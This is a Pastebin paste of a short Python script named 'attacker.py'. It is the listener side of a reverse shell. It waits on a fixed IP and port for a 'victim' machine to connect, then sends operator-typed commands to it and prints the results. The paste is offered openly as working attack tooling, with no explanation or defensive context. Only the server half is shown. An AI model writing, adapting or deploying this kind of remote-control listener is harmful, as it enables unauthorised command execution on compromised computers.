Advertisement
FlyFar

attacker.py

Aug 19th, 2023
1,131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.05 KB | Cybersecurity | 0 0
  1. import socketserver
  2. import logging
  3.  
  4. HOST, PORT = "192.168.10.7", 9999
  5.  
  6. class ServerHandler(socketserver.BaseRequestHandler):
  7.     def setup(self):
  8.         logging.info("The victim has connected successfully: {}".format(self.client_address[0]))
  9.    
  10.     def handle(self):
  11.         while True:
  12.             command = ""
  13.            
  14.             while not command:
  15.                 command = input(">")
  16.  
  17.             self.request.sendall(command.encode("utf-8"))
  18.             data = self.request.recv(8192)
  19.  
  20.             output = str(data.strip(), "utf-8", "ignore")
  21.             print(output)
  22.  
  23.     def finish(self):
  24.         logging.info("The victim got disconnected: {}".format(self.client_address[0]))
  25.    
  26. logger = logging.basicConfig(
  27.     level=logging.INFO,
  28.     format="(%(asctime)s) [%(levelname)s] %(message)s",
  29.     datefmt="%H:%M:%S",
  30. )
  31.  
  32. with socketserver.TCPServer((HOST, PORT), ServerHandler) as server:
  33.     logging.info("Server started on {}:{}".format(HOST, PORT))
  34.     logging.info("Waiting for a connection...")
  35.     server.serve_forever()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement